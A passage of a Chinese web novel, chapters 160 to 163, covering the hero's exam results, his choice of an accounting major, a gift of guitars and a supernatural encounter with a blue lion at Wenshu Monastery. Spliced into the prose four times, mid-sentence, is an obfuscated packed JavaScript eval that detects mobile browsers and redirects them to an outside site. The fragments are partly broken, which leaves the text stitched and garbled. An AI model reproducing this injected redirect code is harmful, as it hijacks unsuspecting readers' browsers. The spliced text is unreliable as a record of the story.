回到家,施霜景对罗爱曜转述刘茜的粗言鄙语。罗爱曜优雅地点头:“我知道。可我看这些其他专业也不怎么样。这些,毕业就失业。那些,还没毕业就注定失业。做会计是背锅,做审计是不回家……我让你从上到下读一遍专业目录,你有挑中的么?” “……没有。” “那不就得了。” “不行,我再翻翻。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688502|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 施霜景遂又坐在桌前看了一晚上的专业目录,苍天啊,专业无非就是这几种,要么与人打交道,要么与数字打交道,要么与计算机和机械打交道,要么就是与高危材料打交道……更可怕的是,这些打交道与打交道之间还要交叉。施霜景越想越荒唐,他怎么能对每个专业都不感兴趣?这是正常的么? 就这样迷茫着,出分的日子到了。 说是明天出分,可网站早已经开了,今晚八点,施霜景输入自己的考生号、准考证号和身份证号,显示还不能查询。施霜景想,没事的,呃,反正我也不想那么早知道。施霜景将手机一扔,专心致志地用软梳给玉米梳毛。梳了一会儿,九点钟,施霜景又查一次分数,还是显示无法查询。好,那我就去洗澡。施霜景洗完澡顺手洗衣服、打扫浴室。空调呜呜运转,施霜景在睡前又查了两次,都显示时间未到。 眼瞅着就要到零点了,施霜景决定死守零点查分。他去晾衣服,再用宠物湿巾给玉米擦了脚,这已经是把家里能做的家务全部做完了。罗爱曜最近像仙人,随时随地都能入定,据说他的宝殿快要重建好了,简直是神速。 零点已到!施霜景再次输入考生号、准考证号和身份证号,填验证码,输错了,重新再来……点击进入。依旧不能查询!施霜景两眼一翻,心想再这样下去,今晚不用睡了。说不定是明早八点才出呢?干脆先睡吧……施霜景给手机插上充电线,闭目仰躺,很好,就这样,就这样入睡…… “施霜景,你的分数出来了。” 罗爱曜的声音从客厅传来,他的语气、语调、语声明明都很平淡,可在施霜景听来,分明声若洪钟。 施霜景从床上跳起来,冲到客厅。罗爱曜执着手机,查询页面已显示完毕。施霜景心跳快得不正常,怎么办,刚才从床上弹起来的动作太猛,有点头晕。罗爱曜见施霜景如此紧张,再一看分数,罗爱曜笑了笑:“是我念给你听,还是你自己来看?” 施霜景已然眼前发黑,没人告诉他出分比高考还紧张啊。施霜景比了个手势,意思是你直接说吧。 罗爱曜拉长声音,缓缓道:“语文116分,数学90分,外语94分,理科综合201分,其中物理72分,化学61分,生物68分,加上少数民族加分5分——总分506分。” “恭喜你,施霜景,你有学上了。” 施霜景怔怔接过罗爱曜的手机,确认罗爱曜没有骗他。这分数是真实的吗?他能考这么好吗?这样想着,施霜景点退出,重新输入了自己的证件号码,这回没有卡进去。施霜景慌了,又重复好几次,终于,他再一次查询到自己的分数。是506分没错。 “罗爱曜,我有学上了。”施霜景压抑着激动的心情,可还是几乎叫了出来,“而且我数学及格了!我及格了!” “我就说嘛,你和李老师这么努力地教我……我这么努力学了……至少要及格……”施霜景说话颠三倒四,难以言说心中的快乐,“及格了!而且我上500分了!罗爱曜,我考了506!我上500分了!” “嗯,我看见了,你考得很不错,能发挥的都发挥出来了。” 施霜景捧着罗爱曜的手机,屏幕光照出他双眼亮如灿星,不知道这双眼里是否有泪,但当施霜景望向罗爱曜,这双眼里绝对有情,荧荧似火,原来是有佛守心。 160.大智若愚篇(二十三) 施霜景欢欣鼓舞,一夜未眠,捧着那本翻得软烂的高考志愿目录看了又看,舍不得放手,脑子乱乱的,塞满了上学的选项。好不容易捱到早上七点,施霜景给亲朋一个个发消息报喜。李婉萦几乎秒回施霜景,先是恭喜施霜景,然后她表明自己给施霜景找了可以给高考志愿填报建议的熟人,问施霜景今天有没有空见一面。施霜景当然同意。之后刘茜和班主任的消息陆陆续续来了,尽管网络上还没有马上公布高考分数线,可张国强好歹当了这么多年的老师,多少有些消息,据说今年的理科一本线是513,二本线是430,毕竟今年的理科数学卷和理综卷都有难度。这样算下来,施霜景可超了二本线70分,这怎么看都有个本科可以念。 李婉萦约了高考志愿顾问,和施霜景、罗爱曜约在一家咖啡厅里。一听顾问的语气就知道他绝对是老手,三两句就打听清楚施霜景的志愿偏好和家里人对他的期望——尤其是后者,这才是顾问最关心的。现在的孩子往往对志愿、专业都还没概念,需要被哄好的不是孩子,而是家长。 罗爱曜正襟危坐,豁达道:“我全听他的想法,他想学什么都可以,家中会全力支持。以后的就业情况没人说得清,但我想以他的能力肯定可以找到一份工作。你们就不要问我了,以他的意见为主。” 施霜景掏出贴满荧光标签的高考志愿目录,向顾问讲明自己的想法。 “我对生化类专业不太感兴趣,机械、工程、自动化之类也是……计算机、信息之类的我也不感冒……我想报会计方向的专业。”施霜景咽下自己最真实的想法——自从与罗爱曜相遇,时至今日,罗爱曜给施霜景的账上打过去的累积数额已超过两百万。他最起码要知道怎么管这笔钱。他需要对钱有概念。被钱困住过的他,迫切地想要知道以金钱搭建起来的世界究竟以什么规则运行。 别看施霜景还年轻,他已认识到自己对什么最执着。除了人,那就是钱。他是喜欢音乐和猫没错,可那些都是生活的点缀,或是地基之上的漂亮遮蔽物——地基是钱。施霜景是个爱财鬼。他不乱花钱不代表他不喜欢钱。刘茜说,学会计、审计、财务管理之类的专业,只是手里过钱、过单子,这些钱和你没关系的。可施霜景的情况与那些富二代又不同,他没有现成的企业需要去管理,因此本科期间就学习工商管理、金融学之类的又有些偏靶了。学一项可以看懂数字的技术性专业,这正是施霜景想要的。 这人也是犟,刘茜以自身经历来劝他都没用。李婉萦早听过施霜景有学会计的打算,可高考生见分数下菜碟也是常有的事,她没想到施霜景会如此坚定。只有顾问觉得施霜景的选择还挺有道理的,他整理了施霜景的需求,很快就整理出省内符合他要求的大学和专业。施霜景的少数民族加分仅限报考省内高校,所以他想报省内大学的思路也非常合理。 他们花了一整个白天理出高考填报志愿的清单,从学校到平行志愿的顺序,全部写得清清楚楚,只等系统一开,按着这清单填满一栏栏。 多少高考生寒窗十年,最后也不过这两张薄薄的A4纸,甚至有那么一瞬会以为,自己的未来也就浓缩在这两张纸上,会心头空虚,也会怅然若失。命运就是这样呈现的,稀里糊涂就学了这个专业,然后一干几十年。命运如风乱翻书。 填报完志愿、等待发布录取的期间,施霜景给自己找事干,报了驾照考试,白天去练车,晚上回家刷科目一的机考题。好像这个暑假也没什么不一样。施霜景几乎想不起他怎么过以前的每一个暑假。那些繁忙的日子里,打工既是他经济上的救赎,也是他精神层面的快进键,夏日在这样的麻痹中轻轻震颤,不停地消耗能量,青春渐渐由一道波释放为一条直线。 但施霜景的心已经生了根,不再避开他人的言语或目光,甚至习惯了直视他人的眼睛。在早晨或傍晚,施霜景凝视罗爱曜。如果说罗爱曜平日是观察施霜景,那施霜景则是明目张胆地盯罗爱曜,目光直勾勾,目光里没有想要做什么的欲望,只是看罗爱曜,留下视觉记忆。在罗爱曜的眼前想罗爱曜,做猜想,目光描摹、勾勒罗爱曜的形象。 这形象也有月亮化水溜走的一刻。施霜景出门练车,罗爱曜在半小时后也出门。如是出门一周,罗爱曜先是扛了一件长条物回家。再出门一周,又扛回一件长条物。接下来几天,家里陆陆续续收到沉重的立方体包裹,罗爱曜一股脑将其全塞进了空闲的储物室,只有玉米目击了这一切。 一本录取结果出了,陆陆续续听说学校里有好消息。班里有不相熟的女生顺利一本录取了,大家祝贺她。再过几天,要出二本录取。施霜景这个假期已对“紧张”二字很熟悉,高考紧张,出分紧张,填报志愿紧张,真等出录取的时候反倒不紧张了。等呗。他先等来同班同学杨玲玲的消息,她考上了外省的一所医学院校,临床专业没去成,录了检验专业。她还带来消息,班级打算在七月底或八月初的某一天组织毕业聚餐,说成“散伙饭”不好听。这顿饭依旧是由她这样的积极分子组织,大家先吃喝,然后去KTV包厅热唱,就当是走个形式。 施霜景细数了一下,是他太喜欢唱歌还是大家都这么无聊?施霜景都数不清自己这一年里去了几回KTV。适合多人一起玩的项目属实是不多啊!施霜景答应会去,给自己的高中生涯画一个漂亮的句点。 罗爱曜霸占了楼上自习室的大桌,每天雷打不动上楼写经,写在纸上,写在皮上,写在布上。推开自习室的门便可闻见一阵异香,不知这异香的来处是墨是笔是纸还是印。施霜景偶尔得见罗爱曜的书风,这才知字如其人,清瘦风骨,端正遒丽。这是近了细看的想法。远远望去,一桌、一席书法,既净且直,可其间又似有秘密,无邪生有邪,瞧久了头晕。 一日傍晚,施霜景回到家,罗爱曜未开灯,以投影仪看经书扫描件,佛龛香烟袅袅。罗爱曜望向施霜景:“回来了?先洗手。” 施霜景如是洗手。 回到客厅,罗爱曜打开灯,从鞋柜抽屉里取了钥匙,领施霜景去开储藏室房门。当初罗爱曜买下这房子,前房东请人将储藏室的东西都清了空,施霜景平日不来这房间,当它不存在。尘味扑面,房间却是已经打扫过了,施霜景随罗爱曜进房间,看见靠墙两件扁长的快递,旁边还有数件大大小小方块快递。 罗爱曜递给施霜景一把剪刀:“去吧。” 施霜景不疑有他,拿上剪刀就去开快递。他将其中一件大快递放平,小心翼翼地划开胶带,拨开纸盒,见到一个黑色布箱。施霜景回头看了看罗爱曜,罗爱曜示意他继续。施霜景拎起布箱,心里已经有了想法。他将布箱放置在地上,拉开拉链—— “我就知道!!是吉他!!!” 施霜景才不会被罗爱曜这神神叨叨的氛围吓住。他又不是第一天、第一周、第一个月认识罗爱曜了。有时施霜景不愿意凝视罗爱曜的原因就在此——罗爱曜自带神秘性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696606|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,盯久了伤脑,还容易被他带跑偏,被他唬住。 施霜景几乎不敢触摸布箱里的吉他,太美了。这是一把吉布森黑色电吉他,施霜景压根没空去查型号,他小心翼翼地捧起吉他,双手登时汗津津的,太兴奋了就有点糟蹋乐器,施霜景又把吉他放回原处。 罗爱曜提醒他:“还有一把。” 施霜景抄起剪刀,这回他仔细看了包装盒上印刷的品牌名,太好了,还是看不懂的牌子,但和刚才的牌子不一样。施霜景乐呵呵道:“你不会还给我买了一把贝斯吧?” 罗爱曜不响。施霜景唰唰打开快递盒,这回见到的漆面琴盒就张扬得多。施霜景提出琴盒,拉开拉链——又是一把吉他!这次是一把马丁的木吉他! 施霜景简直乐疯了。搞什么啊!罗爱曜怎么不声不吭搞大事呢!木吉他的亲和力比电吉他高出许多,施霜景抱起木吉他放在膝上,试着拨了拨琴弦,吉他音色饱满醇厚,爽入天灵盖。施霜景情不自禁捧起木吉他,细闻这把吉他的工艺与材料的香气。 “你怎么会突然想到送我吉他?还是两把!” 罗爱曜摩挲下巴,云淡风轻说道:“给你买玩具需要理由吗?我记得某人好像很羡慕吉他弹唱……” 施霜景举手:“对,是我,是我。” 罗爱曜被施霜景这争先承认的样子逗笑。他知道施霜景的高考录取很快就要出来了。他甚至知道施霜景的录取情况。他希望施霜景对录取结果不要太失望,于是选在今晚送他玩具。 夜里十点,施霜景照例刷新录取查询系统,屏幕忽然一跳转,施霜景直接晕字。 施霜景没想到就是今天,他这分钟还在网上搜吉他入门呢。定睛一看,施霜景读到录取批次为本科二批,然后看录取院校和专业…… “出结果了吗?”罗爱曜忽然探头进储藏室。 施霜景将手机屏幕一转,罗爱曜接过手机。施霜景被平行志愿的第二所学校调档,顺利录取会计类专业。他们填志愿的风格其实很保守,但没想到施霜景没被一志愿调档,这是为什么呢?罗爱曜真有些替施霜景可惜。 施霜景长出一口气,结束了,这该死的高考终于都结束了,什么填来填去、查来查去的无尽轮回也都结束了。施霜景抽回手机,继续播放吉他入门视频。施霜景见罗爱曜还杵在门口,表情很微妙,施霜景说:“干什么?不满意吗?” “你满意吗?” 施霜景忽生警惕之心:“我很满意!我告诉你,我绝对不复读。” “我可没叫你复读。” “那没事了。我很满意啊!终于结束了!反正去哪儿上学不是上学?这所还就在D市呢,但在城市的另一头……我在想我到时候要怎么回家……” “我们可以在学校附近租房子。” 施霜景双手叉腰,已然开始幻想大学生活:“我要不要住宿舍呢?顾问老师说这所大学的宿舍还挺好的。” “不许出去住。玉米怎么办?” “对哦……你不会帮我喂玉米吗?” “你为什么不回家?” “我上学啊!” “家里又不缺租房子的钱,你……” 施霜景笑着吻住罗爱曜,放轻声音道:“逗你的。一起住。我说不定还要你辅导大学功课呢。” 罗爱曜被憋得只有一个“嗯”字。果然今天给施霜景送吉他是正确的选择。有玩具可玩的男孩不伤心。 161.大智若愚篇(二十四) 打马往南下,沉着又混沌地颠荡千里,紫袍金绣法衣已化灰了,白马四蹄瘦若烛,一路借宿寺庙中,僧众不知安西无,乡音难改入梵呗。一对蓝目从来都用来看经书、器具、仪式、殿堂,这一路往眼底塞尽山水,却未有人。雨雪也走,炙热也走,抵达岩窟前,白马化玉石,一眼也不曾留恋,封山辟支候缘觉。 千年前的事了,那般坚决笃定。罗爱曜继承这千般好,却无人真正有资格教会他,只好这样永永远远地靠自己开悟,信直觉,如此这样,不可能不自负。这自负之中,又有死水一般的、巨山一般的静默,亟待一把火投入暗沼,炸得个彻夜光明。 罗爱曜不做梦,无有压抑,没有潜意识、前意识等分层,一切的一切只有那一粒识的种子,而在佛国不过一粒种的识,于人类而言便是无边无际之汪洋。在没被送入俗世之前,罗爱曜的法身与诸佛同体,报身与诸佛互融。降入俗世,不知是缘分往前进一步还是被贬退,无忧也无疑,只觉得理所当然。罗爱曜也曾想过,他或许是否已经涅槃过了,只不过如那些大菩萨一般倒驾慈航,来人世有任务可言。 这样的任务却又是一项都没有。 直到现代,佛、菩萨、金刚、明王、护法、夜叉、天人……全佚失了,罗爱曜的慈海是一片孤独封闭海,不通往任何处。时至今日,听见汪洋上有亡灵一般的来信,罗爱曜同人类学会了怀疑、警惕,不断地正证、反证,只觉得这过程有趣,对结果索然兴味。 罗爱曜只知道,若是下一次进山,要带上一个人了。 如果一人无聊,那就两人。如果两人无聊,那就家家族族。如果家家族族暴乱了,那这世间也就变天了。像罗爱曜这样的存在,不怕变,只怕不变。他一人应对世道大变,大眠一场了事;若二人应对世事无常,仍是可以大眠一场了事;若子子孙孙应对天地动荡,唉,要着急的。若密宗只剩这一位佛子了,那些佛不着急吗?罗爱曜总在漫想中抓那一丝直觉。想着想着,便又要起床了。罗爱曜的一切睡眠不过都只是在装,千年也是装,八小时也是装,想睡是装,不想睡也是装。 施霜景拿到录取,又可以上四年学,欢天喜地,还不知道报会计专业的苦要吃一辈子。那咋了,又进四年象牙塔,少上几年班,反正现在退休年龄已恨不得一键拉满。施霜景早晨又给驾校教练打一次电话,说他考上大学了,这两天先不去练车,他有好多好多事要干。 罗爱曜就看施霜景到底有哪些事要干。 施霜景买上一大袋纸钱,等不及录取通知书寄到,反正是打印了录取页面,打印了好多张,也可以当纸钱用。施霜景说:“我要去告诉我爸妈!我也考上了!我也是大学生!我想让我爸妈第一个知道我考上大学了!” 所以前一夜施霜景才琢磨了一晚上的吉他入门,很有定力似的。 罗爱曜随同施霜景,第一次去见施霜景的爸爸,仍是殡仪馆骨灰堂最后一格,两人蹲下来还得弓腰才能看见骨灰盒。施霜景顾不得擦骨灰盒了,反正他过年期间才来过,玻璃柜门里又没有灰尘的。只见施霜景点了香,合掌夹住,赶紧默念。 这次就远不如上次来上香那般煽情,施霜景飞快地报喜,跟爸爸说完,也跟妈妈说。不知为何,今日施霜景对着妈妈反倒讲得更多,讲他高考怎么受罗爱曜的照顾,讲他毕业旅行去了三亚,给太阳晒焦了,现在练车就焦上加焦,讲志愿填报的时候大家都劝他别学会计,唉,这一录取是有些淡淡的焦虑,万一选错了专业,上大学上得崩溃咋办? 手里的三支香都燃得只剩半根,施霜景才依依不舍地将香插进香炉里。这回罗爱曜送了施霜景一座小香炉,让施霜景烧完直接将香炉放进骨灰间,来上香的,怎么能连个香炉都没有。 施霜景席地而坐,把好消息分享给了最想念的人之后,他才将自己的录取截图一一私发给亲朋好友。施霜景手指动得飞快,跳出的对话框全回掉。之后,他带罗爱曜去烧纸区给父母烧纸钱。 “罗爱曜,你说我爸妈到底有没有转世啊?”施霜景右手一厚叠纸钱,左手三张一折,攥了好大一把折好的纸钱,等左手握不住了,再一把丢进火里,这青天白日烧纸都能烧得这么旺,他爸妈一定很高兴。 “应当是有的。你可以去问蒋良霖。” “算了,万一他们没能转世成人,我会伤心。”施霜景又丢下一丛纸钱。 纸钱不能让罗爱曜过手,没有佛子给死人烧纸的道理,是大不敬。于是罗爱曜烧了施霜景那几张打印出来的录取通知,有点像家庭教师向家长汇报工作。 六月的D市室外,本该热得喘不上气,可施霜景站在烧纸火堆前,一点不觉得暑气蒸腾,对他来说,这温度好像很合宜似的。一回到D市,他就恍惚觉得一直是春天停留在自己的身上没离开,换别人在室外烧纸钱该汗流浃背的,施霜景却浑身干爽。罗爱曜不是人类,自我调节能力很好,当然看不出什么,大夏天穿风衣也不会有事。 施霜景下意识摸摸自己项上的佛珠串,别人看来可能是时尚单品也可能是土气单品,施霜景却早已经习惯了。从昨夜起,施霜景就觉得这玄珠很潮湿,像是渗出细密的水珠,可他不管用什么去擦也都擦不掉这湿意。今天暴晒一上午,再一摸玄珠,竟然是更加潮湿,像内外温差大,雾滴作水。 “罗爱曜,你的佛珠是不是出了什么问题?” 施霜景摘下珠串,递给罗爱曜。罗爱曜不解,珠串在他掌心盘踞成塔,他仔细摸摸,前几下完全没摸出异常,是大约抚摸到第十下时,才好像与施霜景共感一般,摸出濡湿的感觉。 这叫罗爱曜打开佛珠内的空间瞧看,只见一片幻海般的迷雾,众法器浸在这水雾中,有说不出的阴凉之感,可这阴凉又非阴森,而似一种良好的保存法,罗爱曜能感觉到法器受到滋养。他下意识清点法器,不清点不知道,清点完吓一跳。 施霜景等了大约五分钟,罗爱曜将意识抽离回来,问施霜景:“你的金刚杵和文殊剑呢?” “我以为金刚杵被收进去了……不太清楚文殊剑,我平时不会清点这些法器。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703219|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他也不知道怎么清点啊,施霜景纯纯把佛珠当许愿机,反正需要的时候起心动念即可。施霜景仔细一琢磨,东西在他手上丢了,他反问道:“金刚杵和文殊剑不见了?” “是‘不见’了么……这很奇怪,也很难讲。”罗爱曜顿了顿,“就像我能取用其他佛的法器一样,其他佛也可以取用我的。是文殊菩萨收走了么?” 施霜景高考前没去拜文殊,会不会是这个原因呢?施霜景以为自己闯了祸,抚抚胸口,今天好像没有上次那样的不祥预感,于是施霜景说:“去文殊院问问吧。” 罗爱曜不置可否,二人收拾了东西,回停车场,罗爱曜兀自在车外站了会,不知在想些什么,再坐进车来,他便打开了导航,定位为文殊院。 其实不是非要去人家的寺庙才能问,只是觉得有欠因缘,不得不去。罗爱曜甚至有些发怵。这世上很难有事物让他感到心凉,不是失意难过的心凉,而是字面意思,一颗空无的佛心幽幽地坠着,有真空的凉感。 从六月到七月,文殊院的游客络绎不绝,赶暑假旅行,也赶高考许愿与还愿。罗爱曜将车停进地下停车场,他让施霜景将佛珠绕几圈戴成手串,戴在脖前容易引人注目。 文殊院修得气派漂亮,在闹中取静,黄墙金匾,鸦瓦红栏。游人熙攘,周边的食物也多,罗爱曜问施霜景要不要吃点东西再进去,施霜景一眼看穿罗爱曜:“你是不是想要拖延时间?”罗爱曜哑然。 要拜文殊院的人,皆可在进门处领三根免费的香。罗爱曜向施霜景交代道:“不要领香,也不要拜,我们就是进去看看。” 施霜景心道,这又不是刺探敌情,怎么这么郑重? 第一殿为山门的天王殿,内为弥勒佛。施霜景和罗爱曜都没领香,其他人都领了香,好像不跟他们的节奏走是有些不敬,像是纯粹的观光客。罗爱曜明明就是佛子,可施霜景莫名怕罗爱曜犯忌讳,遂一路上紧盯他。罗爱曜缓步绕开天王殿,直奔三大士殿。 三大士,是指文殊菩萨、普贤菩萨与观音菩萨。文殊院并没有专供文殊菩萨的单独殿,所以要拜文殊的,皆等候在三大士殿前。此殿香火旺得不得了,人亦多,根本不会有任何落单的恐惧与陌生感。可独独罗爱曜通体生凉,迟迟没有走到敞开的殿门前,看三大士金身。 这是怎么了?罗爱曜很难解释自己的反应。 正当罗爱曜怔神之际,一只简州狸白猫从拜垫上缓缓苏醒,大张猫嘴,打了个哈欠,便一晃尾巴跳下垫来,寻觅去处。施霜景嗅着香火,心情舒畅,裤脚忽然一阵摩擦,他低头,看见那寺猫正和他打招呼。施霜景蹲下来与猫玩,下意识给猫擦掉眼角分泌物。 可在罗爱曜眼中,那猫真是猫吗?这样一只毛发松散的小东西,身后却有灵,青毛生锐气,化影香雾中。猫只是猫,而那只青狮如鬼似幻,借猫的鼻尖,闻了闻施霜景。 如一捧盛满水的玻璃球从天高坠,落地溅散开。清凉寒气随佛香广散于文殊院内,霎时间三大士殿前只剩一佛子、一人、一猫。 162.大智若愚篇(二十五) 文殊院的几大殿都相隔不远,殿院中庭所框出的空间有限,因此,即便青狮浮现,也不为巨物膨胀之体格,否则这殿院装不下它。这只青狮肩有人高,鬃毛如柳,气若清波,只可惜好狮子抛媚眼给瞎子看,施霜景看不见它。青狮借现世的猫来接近施霜景,施霜景却双手一拎猫咪胁下,想确认猫咪有没有绝育。 青狮鼓眼,后退半步,凌厉望向罗爱曜,不知是施霜景的动作冒犯到了它,还是它忽然发觉了罗爱曜的注视。总之,文殊院三大士殿前更加幽冷,只有阵阵诵经声浩渺地传来,然不知其方向,更不知其时辰,这诵经声究竟来自今朝还是往日?罗爱曜信手一翻,一把金弓现于手中,而那隔空的诵经声竟然更大了,是为《爱染明王品》,像是先罗爱曜一步,预言出他的应对措施。 “施霜景。”罗爱曜只唤了名字。 施霜景放下猫咪,那猫竟然几步跑跳,纵身一跃进了殿内,在繁忙拜见之间消失。施霜景听罗爱曜唤他名字,可他回头,茫茫人流里又见不到罗爱曜身影了。只闻其声,不见其人。 罗爱曜感知到施霜景想法,便知晓这世界又分层了。既然如此,罗爱曜平静道:“你勿进此殿,问问是否能从天王殿方向出去,倒出山门,在外面等我。” 施霜景找不见罗爱曜,又听他现在使用严肃语气,心里终于明白为什么罗爱曜抗拒来文殊院。 施霜景心道:你遇见事了?文殊菩萨显灵了? 罗爱曜:小事。 施霜景不再多问,他连大玻璃龛中三大士中谁是文殊菩萨都没认出来,就得转身走了。施霜景下意识轻搓腕上佛珠,不知道这样逆行到底行不行得通,但只能按罗爱曜说的做。这分钟施霜景还心情轻快,觉得世上没有罗爱曜搞定不了的事情,只要听罗爱曜的话就不会出大问题。 倒进天王殿后门。施霜景绕半圈,欲要从殿门出,可他一低头,方才那只猫正伴着施霜景的腿一同往前走。文殊院内的菩萨、帝君们都被罩上了玻璃,施霜景既然不拜,那就低头走掉好了。 同猫一起迈出殿门,施霜景再一抬头,看见很眼熟的香炉与庭院装饰花草,就连穿不同颜色防晒服的游人也眼熟。他没有从入口出去,而是又进了庭院。施霜景定睛一看,他对面是无有牌匾、仅有对联的……三大士殿? 不是,这是什么意思?他不是从天王殿出去了吗?怎么又回到三大士殿的庭院了? 文殊院进院只有一条中轴主路,在这条中轴上,进门的山门便是天王殿,然后进三大士殿庭院,左右两侧是鼓楼与钟楼,人们可从三大士殿的两侧绕向后方的大雄宝殿、说法堂、藏经楼,乃至最后的文殊阁。刚刚施霜景算是刚进门就被罗爱曜喊出去,可他兜兜转转又回来了……难道是他多走了半圈?不该啊!施霜景绝对不会傻到认错佛龛的正面和背面。 不对,不对不对。他刚才进去的时候面对的是佛龛背面,出来时……仍是佛龛的背面?施霜景傻眼,在心里呼叫罗爱曜。 施霜景:我又回来了……这什么情况……我被绕回来了? 施霜景:我再出去一次。 罗爱曜还未回答,施霜景立刻转身,这次他盯住佛龛,弥勒佛面对的就是山门,只要绕到弥勒佛正面,就可以出去。施霜景紧盯玻璃龛,脚下熟练地绕行,可是……当施霜景的脚步正对下一个大门前,佛龛仍是背对他。施霜景望出去,正对三大士殿。 眼前的游人们都泰然自若,一些人从小路绕去了碑林,另一些则等着拜钟楼里的地藏菩萨。施霜景找不到罗爱曜,那只小猫倒施施然地在景观灌木旁舔毛。 罗爱曜:可能是我的建议有误,你顺着人群从北门或是侧门出去。 施霜景:好的,收到。 倒出佛殿确实很不礼貌,施霜景在心里默默道歉,从侧面穿出去,下一殿应是大雄宝殿。此时那只小猫又跃进施霜景眼里,施霜景在心中暗道不好,紧走几步,果真又看见三大殿前的对联:“见了便做做了便放下了了有何不了,慧生于觉觉生于自在生生还是无生。” 这不可能吧?这不可能吧!施霜景刚才绕行的大殿到底是哪座?这回施霜景侧头,看见的不是天王殿后门,反倒是大雄宝殿的后门,围了铁栅栏。施霜景彻底被绕晕了。 罗爱曜:不要慌张,站在原地休息一下。确实是出了点问题,看来也与你有关。 施霜景:你在哪里? 罗爱曜:被青狮拖进了文殊菩萨的法界中。 施霜景:这里有青狮? 罗爱曜:嗯,你看不见。 那只小猫又找到施霜景,施霜景登时有些毛骨悚然,下意识拒绝了猫的靠近。小猫倒也不恼,停步立身,猫尾绕至身前,石狮子一般的站姿,就这样立正监视着施霜景。 罗爱曜没说的是,施霜景第一次没绕出山门之时,罗爱曜就开佛眼俯视此地的怪异情状。映入罗爱曜佛眼的是施霜景在空间中做出怪异的椭圆运动,这椭圆的运动简直像是以三大士殿为中心画花瓣。施霜景虽是未进三大士殿,可也逃不离三大士殿,只是在三大士殿前或殿后的区别而已。 于法界中,虽然仍是那个文殊院,可天边乌青,细雨若棉,微微地濡湿青狮的须发。罗爱曜手握金弓,倒未有攻击的意图,只做防御性的姿态,将箭搭在弓上。 罗爱曜就知道,自己若来文殊院,必被刁难。 青狮可与家中的猫有天壤之别,罗爱曜从未想过什么坐骑,也不认为自己会驯兽为自己所用。这样大一只上古灵物,因早早被文殊菩萨驯服而免入生死之劫。做菩萨的,往往都溺爱自己的坐骑,罗爱曜在还未诞生人世时就知晓这点。他肯定不会伤害青狮,但这青狮又不像是来传讯的。 青狮两只前爪抵地,做伸展姿态,再一抖擞皮毛站直,体型便更高大,中庭就显得更为拥挤了。罗爱曜又往后退一步,青狮与他周旋,换方向逼迫罗爱曜靠近三大士殿。罗爱曜觉得青狮在鼓励他进殿,可罗爱曜实在不想进殿。 施霜景:你为什么怕文殊? 罗爱曜:我不怕他,只是——我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这最最有苦说不出的空虚感让施霜景难受得想要大叫,直觉告诉他这不是什么好事。施霜景亦最最是不能等的那个人,他疯了一般趴在地面,翻捡那遍地金器,想知道这究竟是什么。 一地佛门宝器不知用途却眼熟无比,施霜景一摸手上佛珠,不见了,再一抬眼,一地蓝色眼珠般的玄珠落进泥中,施霜景目眦欲裂,跪在地上,以最快的速度一粒粒拾那些珠粒。然而施霜景感知不到自己的情绪了,愈是行动,心中愈是苍白,思绪狂暴无端。千错万错,都是施霜景偏要勉强的错。他一介普通人,无视佛子的警觉,硬生生将他拖进这因缘场。千错万错,施霜景对此都有责。这究竟是福是祸,施霜景无法明断,却好想明断。 身后忽闻金石铿锵一声,施霜景猛地回头,只见一只比人高的青狮出现在施霜景身后,而一把金沙流泻的佛剑躺在石板上,是施霜景摸过、把玩过的文殊利剑。 这只青狮什么意思?施霜景握住剑,一紧手腕,将剑握得稳当。青狮犹疑,既不上前,也不后避,微微偏头,看进三大士殿的后门。 施霜景还能怎么做呢? 他不能留罗爱曜一人。 163.大智若愚篇(二十六) 罗爱曜虽是入了燃灯佛登记的佛子,在这些佛祖、大菩萨的讲经中度过了万万年,可这一入世、一隔离,千年未见,再加之马家大宅的强行引渡,现在的罗爱曜对各位大菩萨心有警惕,实属人之常情。 就像罗爱曜能召唤自己的法界笼罩励光厂地界一样,文殊菩萨也可现法界于任意地方。罗爱曜独来独往惯了,已不知如何与菩萨交手,是该敬该让,还是直面直言?罗爱曜挽金弓,释放攻击性,以他处理马家大宅事件的经验来说,直接应对那些身染异象的人类反而方便。然而,罗爱曜心中又十分不忍,他总不愿去想,难道文殊菩萨要上施霜景的身?这可太难下手。 